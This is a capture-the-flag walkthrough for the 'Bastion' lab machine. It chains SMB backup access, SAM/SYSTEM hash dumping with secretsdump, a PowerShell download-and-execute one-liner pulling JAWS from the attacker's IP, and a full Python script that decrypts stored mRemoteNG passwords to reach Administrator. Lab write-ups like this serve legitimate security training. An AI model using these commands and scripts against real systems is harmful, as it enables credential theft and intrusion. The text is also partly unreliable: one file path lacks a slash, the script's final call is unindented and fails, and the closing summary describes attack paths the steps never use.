Add Hosts

Edit the /etc/hosts file and add the following entries:

10.10.10.134 bastion.htb

This ensures that your system can resolve the domain names bastion.htb to the correct IP address 10.10.10.134.

Script to add hosts automatically

ip="10.10.10.134"
domain="bastion.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

nmap -sCV bastion.htb

Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-14 01:26 CEST
Nmap scan report for bastion.htb (10.10.10.134)
Host is up (0.051s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT     STATE SERVICE      VERSION
22/tcp   open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
|   256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_  256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Bastion
|   NetBIOS computer name: BASTION\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-09-14T01:26:46+02:00
|_clock-skew: mean: -39m58s, deviation: 1h09m14s, median: 0s
| smb2-time: 
|   date: 2024-09-13T23:26:43
|_  start_date: 2024-09-13T23:24:19
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Enumerating Samba Shares

Check available SMB shares:

smbclient -L //bastion.htb

Discovered Shares

Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
Backups         Disk      <-- Interesting share
C$              Disk      Default share
IPC$            IPC       Remote IPC

Mount Samba Share

Mount the Backups share to a local directory:

sudo mkdir -p /mnt/smb
sudo mount -t cifs -o username=guest,ro //bastion.htb/Backups /mnt/smb

Extract the Virtual Machine Backup

List the files inside the backup:

7z l '/mnt/smb/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd'

Mount the VHD file as a partition:

it uses libguestfs install it with your distro pkg manager

sudo mkdir -p /mnt/vhd
sudo guestmount --add '/mnt/smb/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd' --inspector --ro /mnt/vhd

Extract Administrator Password

Copy the SAM and SYSTEM files to extract the hashes:

config="/mnt/vhd/Windows/System32/config"
sudo cp "$config"/SAM ./
sudo cp "$config"SYSTEM ./
secretsdump.py -sam SAM -system SYSTEM local
rm -rf SYSTEM SAM secret.txt

Extracted Hashes

Use crackstation.net to crack the hashes. You will find the hash for user L4mpje.

Use the Recovered Credentials

Pass the hash and list shares:

echo "Hash? -> " ; read HASH
smbmap -u L4mpje -p $HASH -H bastion.htb

Log in via SSH:

ssh l4mpje@bastion.htb
net user l4mpje
net user administrator
type Desktop\user.txt

System Information Gathering with JAWS

Use JAWS to enumerate potential privilege escalation vectors:

wget https://raw.githubusercontent.com/411Hall/JAWS/master/jaws-enum.ps1
echo "In the victim PC run -> powershell IEX(New-Object Net.WebClient).downloadString('http://"$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')/jaws-enum.ps1"') "
sudo python3 -m http.server 80
rm -rf jaws-enum.ps1

Extract credentials from mRemoteNG configuration:

scp l4mpje@bastion.htb:"C:/Users/L4mpje/AppData/Roaming/mRemoteNG/confCons.xml" ./

Decrypt mRemoteNG Passwords

Use the repl to make life easier

#!/bin/python
import re, base64, hashlib, os, sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def decrypt(mode, data, password):
    if mode == 'CBC':
        return cbc_decrypt(data, password)
    elif mode == 'GCM':
        return gcm_decrypt(data, password)
    raise ValueError(f'Unknown mode {mode}')

def gcm_decrypt(data, password):
    try:
        salt, nonce, ciphertext, tag = data[:16], data[16:32], data[32:-16], data[-16:]
        key = hashlib.pbkdf2_hmac('sha1', password, salt, 1000, dklen=32)
        cipher = AES.new(key, AES.MODE_GCM, nonce)
        cipher.update(salt)
        return cipher.decrypt_and_verify(ciphertext, tag).decode()
    except ValueError:
        print('Error: Invalid master password or data integrity check failed.')
        sys.exit(1)

def cbc_decrypt(data, password):
    try:
        iv, ciphertext = data[:16], data[16:]
        key = hashlib.md5(password).digest()
        cipher = AES.new(key, AES.MODE_CBC, iv)
        return unpad(cipher.decrypt(ciphertext), AES.block_size).decode()
    except ValueError:
        print('Error: Decryption failed, possibly due to incorrect padding or corrupted data.')
        sys.exit(1)

def parse_and_decrypt(conf, password):
    try:
        mode_match = re.search('BlockCipherMode="([^"]*)"', conf)
        mode = mode_match.group(1) if mode_match else 'CBC'
        if mode not in ['CBC', 'GCM']:
            print(f'Unknown mode {mode}.')
            sys.exit(1)
        if 'FullFileEncryption="true"' in conf:
            encrypted_data = base64.b64decode(re.search('<.*>(.+)</mrng:Connections>', conf).group(1))
            conf = decrypt(mode, encrypted_data, password.encode())
        nodes = re.findall('<Node .+?>', conf)
        for node in nodes:
            name = re.search(' Name="([^"]*)"', node).group(1)
            username = re.search(' Username="([^"]*)"', node).group(1)
            hostname = re.search(' Hostname="([^"]*)"', node).group(1)
            password_data = re.search(' Password="([^"]*)"', node)
            decrypted_password = decrypt(mode, base64.b64decode(password_data.group(1)), password.encode()) if password_data else ""
            print(f'Name: {name}, Hostname: {hostname}, Username: {username}, Password: {decrypted_password}')
    except (AttributeError, TypeError, ValueError) as e:
        print(f"Error processing XML: {e}")
        sys.exit(1)

def main():
    try:
        file_path = 'confCons.xml'
        if os.path.isfile(file_path):
            with open(file_path, 'r') as file:
                config_content = file.read()
            print("Found confCons.xml in the current directory.")
        else:
            config_content = input("Enter mRemoteNG config XML: ")
        parse_and_decrypt(config_content, 'mR3m')
    except KeyboardInterrupt:
        print("\nProcess interrupted by user. Exiting gracefully.")
        sys.exit(0)
    except Exception as e:
        print(f"Unexpected error: {e}")
        sys.exit(1)

if __name__ == "__main__":
main()

Obtain Root Access

Log in as Administrator:

ssh administrator@bastion.htb
type Desktop\root.txt

Cleanup

Unmount directories and remove temporary files:

sudo umount /mnt/smb
sudo umount /mnt/vhd
sudo rm -rf /mnt/smb /mnt/vhd confCons.xml

Summary

Bastion: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.